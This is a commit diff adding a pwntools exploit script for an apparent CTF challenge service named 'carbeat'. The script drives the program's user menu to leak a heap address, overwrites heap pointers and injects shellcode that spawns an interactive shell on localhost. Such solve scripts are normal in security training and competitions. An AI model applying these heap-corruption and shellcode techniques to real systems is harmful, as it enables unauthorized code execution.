add carbeat

services/carbeat/exploit/solve.py

@@ -0,0 +1,81 @@
+from pwn import *
+context.terminal = "tmux splitw -h".split()
+context.binary = elf = ELF('chall/mybini')
+
+#p = gdb.debug(elf.path, '''
+#set max-visualize-chunk-size 0x500
+#b * _ZN7MyKisah3addEPc+110
+#c
+#''')
+#p = elf.process()
+#gdb.attach(p)
+p = remote('localhost', 14000)
+
+def register(name, level):
+    p.sendlineafter(b'> ', b'1')
+    p.sendlineafter(b': ', name)
+    p.sendlineafter(b': ', str(level).encode())
+    
+def login(name):
+    p.sendlineafter(b'> ', b'2')
+    p.sendlineafter(b': ', name)
+
+def logout():
+    p.sendlineafter(b'> ', b'4')
+
+def add(data):
+    p.sendlineafter(b'> ', b'1')
+    p.sendlineafter(b': ', data)
+
+def edit(name):
+    p.sendlineafter(b'> ', b'0')
+    p.sendlineafter(b': ', name)
+
+def delete(idx):
+    p.sendlineafter(b'> ', b'3')
+    p.sendlineafter(b': ', str(idx).encode())
+
+register(b'user0', 0xdeadbeef)
+register(b'user1', 0xdeadbeef)
+register(b'user2', 0xdeadbeef)
+
+login(b'user2')
+for i in range(8): add(b'a')
+
+read = shellcraft.read(0, 'rdx', 0x100)
+add(asm(read))
+logout()
+
+register(b'user3', 0xdeadbeef)
+register(b'user4', 0xdeadbeef)
+register(b'user5', 0xdeadbeef)
+register(b'x' * 0x10, 0xdeadbeef)
+register(b'user7', 0xdeadbeef)
+
+login(b'user5')
+for i in range(4): add(b'a')
+
+edit(b'z' * 0x18)
+add(b'\0')
+logout()
+
+p.sendlineafter(b'> ', b'3')
+p.recvuntil(b'x' * 0x10)
+
+heap = unpack(p.recvuntil(b' adalah', drop=True),'all')
+log.info(f"{hex(heap) = }")
+
+login(b'z'*0x18)
+delete(0)
+
+add(b'a' * 8 + p64(heap-0x130))
+delete(0)
+
+logout()
+login(b'x'*0x10)
+
+add(p64(heap-0x1f8))
+sleep(1)
+p.send(b'a' * 0xd + asm(shellcraft.sh()))
+
+p.interactive()